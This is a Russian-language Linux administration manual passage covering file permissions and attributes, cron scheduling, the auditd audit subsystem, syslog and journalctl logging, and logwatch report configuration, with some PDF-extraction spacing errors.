В числовом виде права задаются в виде четырехзначного восьмеричного числа, при этом ведущие незначащие нули могут быть отброшены. Задание маски в числовом виде изменяет сразу все права. Результаты выполнения различных команд chmod представлены в таблице Было Команда Стало rwxrw-r-x chmod g-w file1 rwxr–r-x rwxrw-r-x chmod a-x file1 rw-rw-r– rwxrw-r-x chmod g=x file1 rwx–xr-x rwxrw-r-x chmod o+w file1 rwxrw-rwx rwxrw-r-x chmod 0750 file1 rwxr-x— rwxrw-r-x chmod a=rw file1 rw-rw-rw-

Управление владельцем файла

Команда: chown [опции] владелец файл_1 файл_2... файл_N

предназначена для изменения владельцев файла. Основные опции аналогичны команде chmod.

Примечание: Только владелец или суперпользователь может изменить владельцев файла.

Владелец и группа владельцев задаются в виде:

пользователь.группа

Если группа владельцев не указана, то изменяется только пользователь-владелец файла. Если не указан пользователь, то изменяется только группа владельцев. Если указаны оба параметра, то изменяются и пользователь, и группа владельцев. Примеры использования команды: chown –R master.master Desktop

Управление специальными атрибутами

Команда: chattr<оператор><атрибут><файл>

изменяет специальные атрибуты в файловых системах семейства ext (ext2, ext3, ext4) для от- дельных файлов или каталогов. Оператор и расширенные атрибуты могут принимать следующие значения:

1.1. Операционная система GNU/Linux 63 ABC Unix, Выпуск 1.0.01

Оператор Значение + добавляет атрибут к существующим у файла атрибутам. - удаляет атрибут файла. = оставляет существующие у файла атрибуты. Атрибут Значение a (append only) только добавление данных, удаление и переименование запрещено i (immutable) запрещено удаление, изменение или переименование A (no atime запретить сохранение данных о каждом обращении к файлу updates) S (synchronous синхронное изменение всех данных на диск, без кэширования updates) c (compressed) файл будет хранится на диске в сжатом виде s (synchronous после удаления файла, место на диске заполняется нулями updates) u (undeletable) после удаления блоки хранящие файл резервируются так, что файл может быть восстановлен в любое время Например, команда: chattr+i/etc/passwd

устанавливает атрибут immutable, запрещающий удаление, изменение или переименование файла /etc/passwd: chattr-i/etc/passwd

удаляет атрибут immutable. Для просмотра расширенных атрибутов используется команда: lsattr<файл>

Например, команда: lsattr-a/etc

выводит специальные атрибуты для всех файлов каталога /etc: lsattr-d/etc

выводит специальные атрибуты для каталога /etc.

Выполнение задач по расписанию

Для регулярного запуска обслуживающих программ (заданий), необходимых для нормальной ра- боты системы, используется сервис crond. Конфигурационные файлы сервиса делятся на основной (системный):

/etc/crontab

и пользовательские, хранящиеся в каталоге:

/var/spool/cron

Программы из основного файла исполняются от имени пользователя root. Команды, находящие- ся в пользовательских файлах исполняются от имени того пользователя, которому принадлежит соответствующий файл. Для управления заданиями используется программа crontab. Для просмотра заданий текущего пользователя используется команда:

64 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

crontab-l

Команда:

crontab<файл>

устанавливает указанный файл в качестве файла заданий пользователя выполнившего команду. Для удаления пользовательского файла заданий используется команда:

crontab-r

Формат строк пользовательского файла заданий следующий:

m h d M w команда

Здесь m – минуты, h – часы, d – числа месяца, M – месяцы, w – дни недели. Каждое из полей задается в виде последовательности чисел и диапазонов, разделенных запяты- ми. Диапазон возможных значений для каждого из чисел определяется типом представляемого значения: Значение Тип 0-59 минуты 0-23 часы 1-31 дни месяца 1-12 месяц 0-7 дни недели (0 и 7 обозначают воскресенье). Числа в диапазоне разделяются дефисом -. Дополнительно может быть задан интервал повторения, отделяемый от чисел и интервалов знаком /. Специальный символ * обозначает «все возможные значения». Принцип формирования поля проще всего понять на примере. Так, например, следую- щие значения в поле часов будут соответствовать: Параметр Значения * От 0 до 23 0-23 От 0 до 23 */2 Четные часы 3,7-12,19 3,7,8,9,10,11,12,19 Вместо первых пяти полей могут быть использованы специальные строки: Строка Значение @reboot Выполнять один раз при запуске. @yearly Выполнять раз в год, “0 0 1 1 *”. @annually То же, что и @yearly. @monthly Выполнять раз в месяц, “0 0 1 * *”. @weekly Выполнять раз в неделю, “0 0 * * 0”. @daily Выполнять раз в день, “0 0 * * *”. @midnight То же, что и @daily @hourly Выполнять раз в час, “0 * * * *”. Дополнительно в файле могут быть заданы значения переменных окружения, которые будут ак- тивны при выполнении команд. Эти значения задаются в виде:

ИМЯ=Значение

Поскольку команды выполняются сервисом crond автоматически, без взаимодействия с пользо- вателем, информация, выводимая программой на экран будет недоступна пользователю. Чтобы пользователь мог исследовать результаты выполнения его программы, crond автоматически отсы- лает все выводимые программой данные по адресу электронной почты, указанному в переменной

1.1. Операционная система GNU/Linux 65 ABC Unix, Выпуск 1.0.01

окружения MAILTO. Команда будет выполнена с использованием командного интерпретатора, ука- занного в переменной окружения SHELL, или интерпретатором /bin/sh, если данная переменная не установлена. Системный файл /etc/crontab содержит аналогичные записи, однако включает дополнительное поле определяющее имя пользователя, от имени которого будет исполняться команда. Это поле предшествует полю команды.

Аудит состояния системы

Основным инструментом аудита Red Hat совместимых дистрибутивов GNU/Linux является система Auditd.

Архитектура и принцип работы

Подсистема аудита предназначена для отслеживания критичных с точки зрения безопасности си- стемных событий. В качестве примеров таких событий можно привести следующие (список далеко не полный): • запуск и завершение работы системы; • чтение, запись и изменение прав доступа к файлам; • инициация сетевых соединений; • попытки неудачной авторизации в системе; • изменение сетевых настроек; • изменение информации о пользователях и группах; • запуск и остановка приложений; • выполнение системных вызовов. Отслеживание происходит с помощью перехвата соответствующих событиям системных вызовов на уровне ядра системы.

Установка

В дистрибутивах GNU/Linux, основанных на Red Hat (Fedora, CentOS и т. д.), сервис auditd уста- новлен и запускается по умолчанию. Проверка состояния сервиса: sudo systemctl status auditd.service

Запуск сервиса: sudo systemctl start auditd.service

Включение сервиса в загрузку: sudo systemctl enable auditd.service

66 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Состав системы

auditd основеой сервис auditctl утилита для управления правилами и анализа текущего состояния системы аудита aureport утилита для генерации отчётов о работе системы аудита autrace утилита для аудита событий, порождаемых процессами (аналог strace) ausearch утилита для поиска событий в журналах аудита

Настройка

Основной файд конфигурации /etc/audit/auditd.conf содержит в числе прочих следующие пара- метры: log_file файл, в котором будут храниться протоколы подсистемы аудита. log_format формат, в котором будет сохранены протоколы. freq максимальное число записей протокола, которые могут храниться в буфере. flush режим синхронизации буфера с диском: • none — ничего не делать, • incremental — переносить данные из буфера на диск с частотой, указанной в значении параметра freq, • data — синхронизировать немедленно, • sync — синхронизировать как данные, так и метаданные файла при записи на диск. max_log_file максимальный размер файла протокола в мегабайтах. max_log_file_action действие при превышении максимального размера файла протокола. space_left минимум свободного пространства в мегабайтах, по достижении которого должно быть осуществлено действие, указанное в следующем параметре. space_left_admin указывает, что делать, когда на диске недостаточно свободного места: • ignore — ничего не делать, • syslog — отправлять в syslog, • email — отправлять уведомление по почте, • suspend — прекратить запись протоколов на диск, • single — перейти в однопользовательский режим, • halt — выключить машину. disk_full_action действие, которое нужно осуществить при переполнении диска (этот параметр может принимать те же значения, что и space_left_admin).

Генератор отчетов aureport

В дистрибутивах GNU/Linux, основанных на Red Hat (Fedora, CentOS и т. д.), утилита aureport установлена по умолчанию. Справка по ключам: aureport--help

-a,--avc Avc report -au,--auth Authentication report --comm Commands run report -c,--config Config change report

1.1. Операционная система GNU/Linux 67 ABC Unix, Выпуск 1.0.01

-cr,--crypto Crypto report -e,--event Event report -f,--file File name report --failed only failed events in report -h,--host Remote Host name report --help help -i,--interpret Interpretive mode -if,--input use this file as input --input-logs Use the logs even if stdin is a pipe --integrity Integrity event report -l,--login Login report -k,--key Key report -m,--mods Modification to accounts report -ma,--mac Mandatory Access Control (MAC) report -n,--anomaly aNomaly report -nc,--no-config Don't include config events --node Only events froma specific node -p,--pid Pid report -r,--response Response to anomaly report -s,--syscall Syscall report --success only success events in report --summary sorted totals for main object in report -t,--log Log time range report -te,--end [end date] [end time] ending date& time for reports -tm,--terminal TerMinal name report -ts,--start [start date] [start time] starting data& time for reports --tty Report about tty keystrokes -u,--user User name report -v,--version Version --virt Virtualization report -x,--executable eXecutable name report

Отчет об отслеживаемых событиях: sudo aureport

Summary Report ======Range of time in logs: 18/05/16 09:47:34.453- 22/05/16 11:28:03.168 Selected time for report: 18/05/16 09:47:34- 22/05/16 11:28:03.168 Number of changes in configuration: 195 Number of changes to accounts, groups, or roles: 30 Number of logins:5 Number of failed logins:0 Number of authentications: 136 Number of failed authentications:9 Number of users:4 Number of terminals: 12 Number of host names:2 Number of executables: 13

Примечание: Большоое значение параметра:

Number of failed authentications

может говорить о том, что была сделана попытка подбора пароля одного из пользователей с целью получить не санкционированный доступ к системе.

Команда:

68 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

sudo aureport-au

выводит дату, время, имя пользователя и результаты проверки аутентификации (опция -au) для всех пользователей:

Authentication Report ======# date time acct host term exe success event ======1. 18/05/16 09:47:56 sddm ? ? /usr/lib/sddm/sddm-helper yes 187 2. 18/05/16 09:48:09 paul ? ? /usr/lib/sddm/sddm-helper yes 199 3. 18/05/16 09:41:29 root ? pts/1 /usr/bin/su yes 227 4. 18/05/16 09:57:16 root ? pts/2 /usr/bin/su yes 231 5. 18/05/16 10:01:57 root ? ? /usr/sbin/groupadd yes 235

С помощью фильтра grep можно получить список неудачных попыток аутентификации: sudo aureport -au | grep no

37. 18/05/16 12:18:24 root ? pts/0 /usr/bin/su no 217 38. 18/05/16 12:18:38 root ? pts/0 /usr/bin/su no 218 47. 18/05/16 12:41:15 root ? pts/1 /usr/bin/su no 262 66. 18/05/16 14:09:55 root ? pts/4 /usr/bin/su no 220 67. 18/05/16 14:10:05 root ? pts/4 /usr/bin/su no 221 102. 20/05/16 12:37:07 root ? pts/5 /usr/bin/su no 191 117. 21/05/16 12:10:39 root ? pts/0 /usr/bin/su no 229 129. 21/05/16 17:59:08 root ? pts/1 /usr/bin/su no 208 134. 21/05/16 18:32:05 root ? pts/0 /usr/bin/su no 248

Отчет по пользователям (опция -u) с опцией -i отображает имена пользователей вместо их иден- тификаторов: sudo aureport -u -i

User ID Report ======# date time auid term host exe event ======1. 18/05/16 09:47:35 unset ? ? /usr/lib/systemd/systemd 136 2. 18/05/16 09:47:35 unset ? ? /usr/lib/systemd/systemd-update-utmp 137 3. 18/05/16 09:47:35 unset ? ? /usr/lib/systemd/systemd 138 4. 18/05/16 09:47:45 unset ? ? /usr/lib/systemd/systemd 139 5. 18/05/16 09:47:45 unset ? ? /usr/lib/systemd/systemd 140

C помощью цепочки команд: accessdate=`aureport -au | grep no | tail -1 | cut -d '' -f 2,3`;\ aureport -u -i | grep "$accessdate"; \ unset accessdate

можно получить информацию о последнем неудачном входе в систему:

2324. 21/05/16 18:32:05 paul pts/3 ? /usr/bin/su 201

C помощью цепочки команд: aureport-au| grep no| cut-d '' -f2,3> accessdates.log; \ aureport-u-i| grep-f accessdates.log; \ rm accessdates.log

можно получить информацию о всех неудачных попытках аутентификации:

1.1. Операционная система GNU/Linux 69 ABC Unix, Выпуск 1.0.01

986. 18/05/16 14:09:55 paul pts/4 ? /usr/bin/su 220 987. 18/05/16 14:10:05 paul pts/4 ? /usr/bin/su 221 1577. 20/05/16 12:37:07 paul pts/5 ? /usr/bin/su 191 1785. 21/05/16 12:10:39 paul pts/0 ? /usr/bin/su 229 2050. 21/05/16 17:59:08 paul pts/1 ? /usr/bin/su 208 2090. 21/05/16 18:32:05 paul pts/0 ? /usr/bin/su 248

Поддерживается фильтрация по дате и времени: sudo aureport-s--start 07/31/15 12:00--end 07/31/15 13:00

Можно указывать как конкретные время и дату, так и специальные конструкции: now - текущий момент; yesterday - вчерашнее сутки; recent - 10 минут назад; this - week (или this-month, this-year) — текущая неделя (месяц, год).

С помощью aureport можно просмотреть информацию о действиях любого пользователя системы по его uid. Для этого нужно сначала узнать uid этого пользователя: id user uid=1000(user) gid=1000(andrei) groups=1000(andrei),27(sudo)

а затем выполнить команду: sudo ausearch-ui 1000--interpret

Поиск и анализ событий с помощью ausearch

Для просмотра детальной информации о событии по его номеру (идентификатору) используется команда: sudo ausearch-a<номер события>

Пример вывода команды: type=SYSCALL msg=audit(1364481363.243:24287): arch=c000003e syscall=2 success=no exit=-13␣ ˓→a0=7fffd19c5592 a1=0 a2=7fffd19c4b50 a3=a items=1 ppid=2686 pid=3538 auid=500 uid=500␣ ˓→gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts0 ses=1 comm="cat"␣ ˓→exe="/bin/cat" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="sshd_config"

Примечание: Чтобы информация выводилась в более понятном виде, можно воспользоваться опцией -i или interpret. type указывает на тип записи; type = syscall означает, что запись была сделана после выполнения системного вызова. msg указывает на время события и уникальный идентификационный номер события. arch содержи информация об используемой архитектуре системы (c000003e означает x86_84) в закодированном шестнадцатеричном формате syscall указывает на тип системного вызова — в данном случае это 2, то есть вызов open. success сообщает, был ли вызов обработан успешно или нет. В примере вызов был обработан неудачно (success = no). В зависимости от критерия поиска в выводе команды могут отображаться индивидуальные пара- метры щ которых можно получить информацию в официальном руководстве.

70 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Вывести информацию о любом параметре в более читаемом виде можно при помощи упомянутой выше опции -i или interpret, например: sudo ausearch--interpet--exit-13

Опция -sc позволяет включать в список события, относящиеся к указанному системному вызову, например: sudo ausearch-sc ptrace

Опция -ui служит для поиска событий по идентификатору пользователя: ausearch-ui 33

Поиск по именам процессов осуществляется с помощью опции -tm: ausearch-x-tm cron

Для поиска нужных событий можно также использовать ключи, например: sudo auditctl-k root-actions

Приведённая команда выведет список всех действий, совершённых от имени root-пользователя. Поддерживается также фильтрация по дате и времени, аналогичная той, что была описана выше.

Управление правилами с помощью auditctl

Список опций auditctl:

-l — вывести список имеющихся правил; -а — добавить новое правило; -d — удалить правило из списка; -D — удалить все имеющиеся правила.

Чтобы создать новое правило, нужно выполнить команду вида: auditctl-a<список>,<действие>-S<имя системного вызова>-F<фильтры>

После опции -а указывается список, в который нужно добавить правило. Всего существует 5 таких списков событий. task создание новых процессов. entry перед выполнением системного вызова. exit после системного вызова. user события, использующие параметры пользовательского пространства. exclude список исключенных событий. Затем указывается действие, которое нужно выполнить после наступления события. Здесь возмож- ны два варианта: • always - событие записывается в журнал • never - событие не записывается в журнал. После опции -S идёт имя системного вызова, при котором событие нужно перехватить (open, close и т.п.). После опции -F указываются дополнительные параметры фильтрации. Например, если требуется вести аудит обращений к файлам из каталога /etc, правило будет выглядеть так:

1.1. Операционная система GNU/Linux 71 ABC Unix, Выпуск 1.0.01

auditctl-a exit,always-S open-F path=/etc/

Можно установить и дополнительный фильтр: auditctl-a exit,always-S open-F path=/etc/-F perm= aw

Фильтр -F perm = aw ограничивает протоколирование действий над файлами каталога /etc опе- рациями изменения атрибутов (а — attribute change) и записи (w — write). При настройке слежения за отдельными файлами можно опустить опцию -S, например: auditctl-a exit,always-F path=/etc/-F perm= aw

Файлы правил

Правила храняться в файле /etc/audit/audit.rules. Файл начинается с так называемых мета- правил, в которых задаются общие настройки журналирования:

# удаляем все ранее созданные правила -D

# задаём количество буферов, в которых будут храниться сообщения -b 320

# указываем, что делать в критической ситуации (например, при переполнении буферов): 0- ничего не делать;1- отправлять сообщение в dmesg,2- отправлять ядро в панику -f1

Далее следуют пользовательские правила. Каждому правилу соответствует строка с перечислением опции команды auditctl. Пример типового файла правил:

# отслеживать системные вызовы unlink () и rmdir() -a exit,always-S unlink-S rmdir

# отслеживать системные вызовы open () от пользователя с UID 1001 -a exit,always-S open-F loginuid=1001

# отслеживать доступ к файлам паролей и групп и попытки их изменения: -w/etc/group-p wa -w/etc/passwd-p wa -w/etc/shadow-p wa -w/etc/sudoers-p wa

# отслеживать доступ к следующей директории: -w/etc/my_directory-p r

# закрыть доступ к конфигурационному файлу для предотвращения изменений -e2

После изменения правил нужно перезапустить сервис: sudo service auditd restart

Централизованное хранение протоколов

Для отправки протоколов в централизованное хранилище используется плагин audisp-remote. Он входит в пакет audisp-plugins, который нужно устанавливать дополнительно:

72 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

sudo yum install audisp-plugins

Конфигурационные файлы всех плагинов хранятся в директории:

/etc/audisp/plugins.d

Настройки удалённого протоколирования прописываются в конфигурационном файле:

/etc/audisp/plugins.d/audisp-remote.conf

По умолчанию этот файл выглядит так: active= no direction= out path=/sbin/audisp-remote type= always #args = format= string

Чтобы активировать отправку протоколов в удалённое хранилище нужно заменить значение па- раметра active на yes. Затем в файле etc/audisp/audisp-remote.conf в качестве значения параметра remote_server нужно указать IP-адрес cервера, на котором будут храниться протоколы. Чтобы сервер принимал протоколы с других узлов в файле /etc/audit/auditd.conf нужно прописать следующие параметры: tcp_listen_port= 60 tcp_listen_queue=5 tcp_max_per_addr=1 ##tcp_client_ports = 1024-65535 #optional tcp_client_max_idle=0

Протоколы работы системы

RHEL 6: syslog

Управлением протоколами работы (системными журналами) занимается служба syslogd. Служба syslogd обеспечивает единый интерфейс для записи сообщений в системные журналы. Кроме то- го, служба syslogd предоставляет возможность перенаправлять сообщения на другие компьютеры, обеспечивая возможность централизованного ведения журналов в сети.

Настройка службы syslogd

Программа syslogd принимает запросы на вывод диагностической информации от других программ и ядра системы и направляет их в файлы журнала в соответствии с конфигурацией, задаваемой в файле /etc/syslogd.conf. Сервис syslogd запускается из командного сценария начальной загрузки. Служба распознает ряд опций, наиболее важная из них опция –r, разрешающая обработку сооб- щений, поступающих от других компьютеров сети. По умолчанию эта опция выключена, поэтому для разрешения приема сообщения по сети необходимо отредактировать файл /etc/sysconfig/syslog следующим образом:

# Options to syslogd # -m 0 disables 'MARK' messages. # -r enables logging from remote machines # -x disables DNS lookups on messages recieved with -r # See syslogd(8) for more details

SYSLOGD_OPTIONS="-m 0"

1.1. Операционная система GNU/Linux 73 ABC Unix, Выпуск 1.0.01

Правил ведения протоколов определяются конфигурационным файлом /etc/syslogd.conf. Каждая строка файла определяет правила сбора и хранения сообщений для заданного протокола Строки, начинающиеся с «#» являются комментариями и игнорируются. Первое поле определяет тип и важность сообщений, для которых применяется данная строка. Второе поле содержит описание действий, которые syslogd будет выполнять с сообщениями. Первое поле называется селектором. Селектор состоит из двух полей: группы и приоритета, раз- деленных точкой. Группа определяет источник сообщения, приоритет – степень важности данного сообщения. * может использоваться в любом из этих полей для выбора соответственно всех групп и всех приоритетов. Несколько селекторов могут быть указаны в одной строке, при этом они раз- деляются точкой с запятой. Несколько групп, с одинаковым приоритетом могут быть указаны перечислением через запятую. Перечень возможных групп включает: auth – сообщения от системы аутентификации authpriv – сообщения от системы аутентификации, которые могут содержать информацию влияющую на␣ ˓→безопасность системы. сron – сообщения от сервиса crond daemon – сообщения от основных сервисов kern – сообщения ядра lpr – сообщения сервиса печати mail – сообщения сервиса электронной почты news – сообщения сервиса новостей syslog – сообщения самой системы syslog user – сообщения прикладных программ uucp – сообщения системы uucp local0-local7 –могут использоваться прикладными программами

Перечень возможных приоритетов включает (в порядке возрастания приоритета): debug – отладочные сообщения info – информационные сообщения notice – информационные сообщения, которые могут указывать на различные непредвиденные ситуации warning – предупреждающие сообщения – указывают на потенциально возможные ошибки err – сообщения об ошибках crit – сообщения о критических ошибках, ведущих к неработоспособности сервиса, выдавшего это␣ ˓→сообщение alert – критические сообщения, влияющие на работоспособность системы и требующие немедленного␣ ˓→вмешательства оператора emerg – критические события, приводящие к неработоспособности системы.

Указанный в селекторе приоритет отбирает все сообщения с указанным уровнем и выше. Для указания только одного уровня перед кодом приоритета указывается знак =. Для отбора сообщений с уровнем ниже указанного перед кодом приоритета указывается знак ! . Специальный приоритет none позволяет исключить все сообщения из селектора. Примеры селекторов: • все сообщения с уровнем crit, кроме сообщений от ядра

*.=crit;kern.none

• все сообщения от системы электронной почты кроме сообщений уровня info mail.*;mail.!=info

• все сообщения уровня info

*.info

Поле действие определяет как система поступает с сообщениями, отобранными селектором. Воз- можные действия включают:

74 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

• Имя файла – указывает syslogd на необходимость записи сообщения в соответствующий файл. Имя файла должно указываться относительно корневого каталога и начинаться с /. • Терминальное устройство – указывает syslogd на необходимость вывода сообщения на со- ответствующий терминал. Терминальное устройство указывается в виде /dev/ttyn или /dev/console. • Удаленный компьютер – указывает syslogd на необходимость передачи сообщения сервису syslogd на другом компьютере в сети. Таким образом может быть создан центральный сервер, на котором будут храниться все системные журналы. Удаленный компьютер указывается в виде @имя компьютера. • Список пользователей – указывает syslogd на необходимость отправки сообщения указанным пользователям по электронной почте. Пользователи в списке перечисляются через запятую. • Все активные пользователи – указывает syslogd на необходимость вывода сообщений на экра- ны всех активных пользователей в системе. Для указания этого действия используется символ *. Если сообщение удовлетворяет сразу нескольким селекторам, для него будут выполнены все пред- писываемые ими действия. Типичные записи из файла /etc/syslogd.conf приведены ниже. Выводить все сообщения ядра на консоль: kern.*/dev/console

Записывать все сообщения уровня info и выше, кроме сообщений электронной почты и сообщений, влияющих на безопасность в файл

*.info;mail.none;authpriv.none/var/log/messages

Выводить все сообщения, влияющие на безопасность системы в отдельный файл (желательно огра- ничить права доступа для этого файла) authpriv.*/var/log/secure

Выводить все сообщения, касающиеся электронной почты в отдельный файл mail.*/var/log/maillog

Рассылать критические сообщения всем пользователям

*.emerg*

Начальный загрузчик помечает свои сообщения как local7. Сохраняем их в отдельном файле local7.*/var/log/boot.log

При выводе сообщения syslogd автоматически добавляет к нему дату и время записи и информацию об источнике сообщения. После модификации файла конфигурации для того, чтобы изменения вступили в силу необходимо выполнить команду: killall –HUP syslogd

Просмотр системного журнала

Поскольку системный журнал представляет собой обычный текстовый файл, для его просмотра могут быть использованы различные программы, начиная от текстового редактора и заканчивая

1.1. Операционная система GNU/Linux 75 ABC Unix, Выпуск 1.0.01

специализированными командными сценариями, проводящими дополнительную обработку жур- нала перед показом. Рассмотрим несколько примеров (используются настройки системы syslogd, устанавливаемые при инсталляции системы): Отобразить последние 15 сообщений из системного журнала можно командой:

cat /var/log/mesasges | tail –n 15

Отобразить первые 20 сообщений, содержащих слово kernel можно при помощи команды:

cat /var/log/messages | grep kernel | head –n 20

Отобразить все сообщения о попытках неудачного входа в систему за 20 Января 2000 года в файле /tmp/badlog можно командой

cat /var/log/secure |grep failed |grep ”20/Jan/2000” >/tmp/badlog

RHEL 7: journalctl

Команда journalctl

В состав systemd входит собственная система ведения протоколов, которая полностью заменяет старую систему, основанную на сервисе syslogd. В рамках новой стсиемы протоколирования все записи храняться в так называемом журнале (journal), который можно просматривать командой:

journalctl

Если команда journalctl не заканчивается перенаправлением вывода в другую утилиту (напри- мер, фильтр grep), то сообщения журнала перенаправляются в утилиту итерактивного просмотра less (для выхода из просмотра необходимо нажать клавишу q). C помощью переменной окруже- ния SYSTEMD_LESS, содержащей опции утилиты, можно управлять поведением утилиты less при просмотре журнала. Временно изменить содержимое переменной окружения SYSTEMD_LESS перед просмотром журнала можно так:

$ SYSTEMD_LESS=FRXMK journalctl

Без указания дополнительных ключей утилита journalctl выводит все записи журнала.

Фильтрация вывода

Утилита journalctl позволяет фильтровать вывод по различным критериям с помощью ключей и их значений.

Показать записи с момента текущей загрузки системы

journalctl-b

Для анализа сбоя приведшего к презагрузке системы необходимо просмотреть записи не для те- кущей, а для предыдущей загрузки. Это возможно, c помощью указания значения -1 для ключа -b.

Показать записи в журнале с момента предыдущей загрузки системы

journalctl-b-1

76 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

В общем случае значение -N ключа -b позволяет просмотривать журнал для N предыдущих пере- загрузок.

Показать сообщения, начиная с заданного времени journalctl--since="2012-10-30 18:17:16"

Показать сообщения за последние 20 минут journalctl--since"20 min ago"

Отслеживать текущие записи (выводить сообщения по мере их появления в реальном режиме времени) journalctl-f

Показать сообщения для заданного исполняемого файла journalctl/usr/lib/systemd/systemd

Показать сообщения для процесса с идентификатором № journalctl _PID=№

Показать сообщения для конкретного сервиса (юнит-сервиса) journalctl-u netcfg

Показать протокол загрузки и работы ядра journalctl-k

Очистка журнала

Для очистки журнала используется семейство ключей --vacuum-КРИТЕРИЙ.

Уменьшить объем журнала до заданного размера (в примере 100M)

# journalctl --vacuum-size=100M

1.1. Операционная система GNU/Linux 77 ABC Unix, Выпуск 1.0.01

Удалить записи старше заданного периода (в примере 2 недели)

# journalctl --vacuum-time=2weeks

Ограничение размера журнала

По умолчанию размер журнала ограничен значением в 10% от объема файловой системы на ко- торой он хранится. Максимальный объем журнала можно контролировать с помощью параметра SystemMaxUse в файле настроек:

/etc/systemd/journald.conf

Например, для ограничения объема журнала 50-ю мегобайтами нужно раскомментировать и отре- дактировать строку:

SystemMaxUse=50M

Перенаправление сообщений журнала на сонсоль

Нужно создайть файл /etc/systemd/journald.conf.d/fw-tty12.conf с содержимым:

[Journal] ForwardToConsole=yes TTYPath=/dev/tty12 MaxLevelConsole=info

Затем перезапустить сервис systemd-journald.

Просмотр журнала другой системы

С помощью ключа -D можно просматривать журнал в любом доступном каталоге.

Просмотр журнала неисправной системы

• Загрузиться с внешнего носителя или с помощью системы восстановления (recovery system). • Смонтировать (можно только на чтение) раздел с журналом неисправной системы, например, в /mnt. • Просмотреть журнал неисправной системы с помощью ключа -D:

$ journalctl -D /mnt/var/log/journal -xe

Анализ протоколов

Утилита logwatch анализирует файлы протоколов (журналов) работы системы и создает отчет о работе системы за заданный период. Отчеты могут быть сохранены в виде простого текстово- го файла или в виде HTML файла. Файл отчета может быть отправлен по электронной почте. Возможна настройка уровня детализации и периода отчетности. Установка: yum install logwatch

78 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Утилита не является сервисом ее регулярный запуск обеспечивается сервисом cron. По умолчанию утилита запускается раз в сутки.

Настройка

Файлы конфигурации по умолчанию находятся в каталоге:

/usr/share/logwatch

Редактировать файлы настроек в этом каталоге не рекомендуется (все изменеия могут быть потере- ны при обновлении пакета logwatch). Для изменения настроек необходимый файл нужно сначала скопмровать в каталог:

/etc/logwatch

Основной файл конфигурации logwatch:

/usr/share/logwatch/default.conf/logwatch.conf

Среди опций, обычно затрагиваемых при конфигурации, можно отметить следующие: • LogDir – путь к каталогу, в котором программа будет искать файлы, обычно это /var/log; • MailTo – определяет адрес получателя отчёта, если Output = mail; • MailFrom – определяет адрес отправителя отчёта, если Output = mail; • Detail – определяет уровень детализации отчёта. Может принимать как числовые значения от 0 (минимум детализации) до 10 (максимум). Также можно использовать синонимы: Low, Med и High, которые соответственно равны числовым 0, 5 и 10; • Output – указывает программе метод вывода отчёта. Может быть: stdout (в поток стандарт- ного вывода), mail(почтовым сообщением), file (в файл); • Format – определяет формат отчёта. Может иметь значение text или html; • TmpDir – путь к каталогу, в котором утилита будет размещать временные файлы. По умол- чанию это /var/cache/logwatch, который мы с вами создали ранее; • Filename – задаёт путь к файлу отчёта, если Ouput = file; • Archives – используется для указания анализировать не только текущий протокол, но и архивные (например, messages.1, messages.2.gz и т. п.). Принимает значения Yes или No; • Range – за какой период времени отбирать анализируемые сообщения: All,Today или Yesterday; • Service – этот параметр указывает программе имя службы, логи которой необходи- мо анализировать. Может иметь значение All или имя службы (имя файла из катало- га /usr/share/logwatch/scripts/services/). Если необходимо анализировать логи более одной службы, но не всех, то опцию Service следует определить несколько раз с указанием имён нужных служб, по одной за раз. Если же необходимо анализировать протоколы всех служб, кроме некоторых, то необходимо сначала определить Service = All, а затем перечислить имена ненужных служб, предварив их знаком «минус», например: Service = “-network”.

Примечание: Для отправки отчета на вешний почтовый ящик скорее всего придется поменять две опции:

MailTo=<внешний почтовый ящик> MailFrom=<легальный почтовый ящик, !!! не root !!! >

1.1. Операционная система GNU/Linux 79 ABC Unix, Выпуск 1.0.01

поскольку, по умолчанию, отчеты отправляются от имени пользователя root, а пересылка почты вне сервера от имени root запрещена.

В каталоге:

/usr/share/logwatch/default.conf/services

находятся файлы с настройками анализатора для каждой службы, а в каталоге:

/usr/share/logwatch/default.conf/logfiles

хранятся файлы, задающие пути размещения протоколов для каждой анализируемой службы.

Примечание: Обычно значений параметров, определённых в этих файлах, достаточно для кор- ректной работы, если в системе все файлы хранятся в каталогах по умолчанию и имеют стандарт- ные имена.

Изменение оформления HTML страницы с отчетом

Скопировать файлы: mkdir/etc/logwatch/html cp-a/usr/share/logwatch/html/header.html/etc/logwatch/html/header.html cp-a/usr/share/logwatch/html/footer.html/etc/logwatch/html/footer.html

и поменять в них необходимые настройки HTML страницы.

Пример настройки протоколов Apache

######################################################## # Define log file group for httpd ######################################################## # What actual file? Defaults to LogPath if not absolute path.... LogFile= httpd/*access_log LogFile= apache/*access.log.1 LogFile= apache/*access.log LogFile= apache2/*access.log.1 LogFile= apache2/*access.log LogFile= apache2/*access_log LogFile= apache-ssl/*access.log.1 LogFile= apache-ssl/*access.log # If the archives are searched, here is one or more line # (optionally containing wildcards) that tell where they are... #If you use a "-" in naming add that as well -mgt Archive= archiv/httpd/*access_log.* Archive= httpd/*access_log.* Archive= apache/*access.log.*.gz Archive= apache2/*access.log.*.gz Archive= apache2/*access_log.*.gz Archive= apache-ssl/*access.log.*.gz # Expand the repeats (actually just removes them now) *ExpandRepeats # Keep only the lines in the proper date range... *ApplyhttpDate logwatch использует опцию LogFile для определения маски имён протоколов, и опцию Archive — для маски архивов. Маски файлов указываются относительно каталога, определённого в опции

80 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

LogDir основного файла конфигурации. Допустим, есть отдельный каталог для хранения протоко- лов Apache, скажем, для отдельного домена. В этом случае необходимо скопировать файл:

/usr/share/logwatch/default.conf/logfiles/http.conf

в:

/etc/logwatch/conf/logfiles

и добавить в него несколько строк:

LogFile= apache2/mydomain.com/access.log LogFile= apache2/mydomain.com/access.log.1 Archive= apache2/mydomain.com/access.log.*.gz

После того, как файлы конфигурации готовы и проверены, достаточно лишь запустить утилиту: logwatch

